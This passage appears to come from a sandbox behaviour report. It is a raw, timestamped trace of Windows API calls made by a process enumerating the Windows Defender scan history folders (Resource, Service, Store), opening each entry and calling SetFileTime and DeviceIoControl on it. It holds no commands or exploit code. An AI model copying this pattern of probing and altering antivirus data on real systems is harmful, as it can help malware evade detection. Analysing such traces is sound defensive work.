lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0092.306] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.306] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.306] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0092.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136df38 [0092.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.307] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0092.307] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0092.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.307] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0092.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.308] NtClose (Handle=0x16c) returned 0x0 [0092.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136df38) returned 1 [0092.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136df38 [0092.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.309] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9100 [0092.309] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.309] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="")) returned 1 [0092.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e460 [0092.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8b38 [0092.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e568 [0092.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.312] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="")) returned 0 [0092.312] GetLastError () returned 0x12 [0092.312] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e90c0 [0092.312] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.312] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.312] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="")) returned 1 [0092.312] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="")) returned 0 [0092.313] GetLastError () returned 0x12 [0092.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.313] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e460) returned 1 [0092.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136df38) returned 1 [0092.313] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 0 [0092.313] GetLastError () returned 0x12 [0092.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.314] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.314] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1 [0092.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.315] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.315] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.315] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.315] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.316] NtClose (Handle=0x15c) returned 0x0 [0092.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.317] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0092.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9820270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7de6c9b0, ftLastWriteTime.dwHighDateTime=0x1d3373d, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.Log", cAlternateFileName="")) returned 1 [0092.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8b58 [0092.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136df38 [0092.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x2d1f02a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 1 [0092.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8b78 [0092.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e460 [0092.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x2d1f02a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 0 [0092.322] GetLastError () returned 0x12 [0092.322] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.322] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.322] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.322] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9820270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7de6c9b0, ftLastWriteTime.dwHighDateTime=0x1d3373d, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.Log", cAlternateFileName="")) returned 1 [0092.322] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x2d1f02a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 1 [0092.322] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x2d1f02a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 0 [0092.322] GetLastError () returned 0x12 [0092.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.323] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1 [0092.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\store"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.324] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\store"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.324] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.324] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.325] NtClose (Handle=0x178) returned 0x0 [0092.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.338] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.338] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.338] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.338] GetLastError () returned 0x12 [0092.338] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0092.338] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.338] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.338] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.338] GetLastError () returned 0x12 [0092.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.339] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.339] RtlFreeHeap 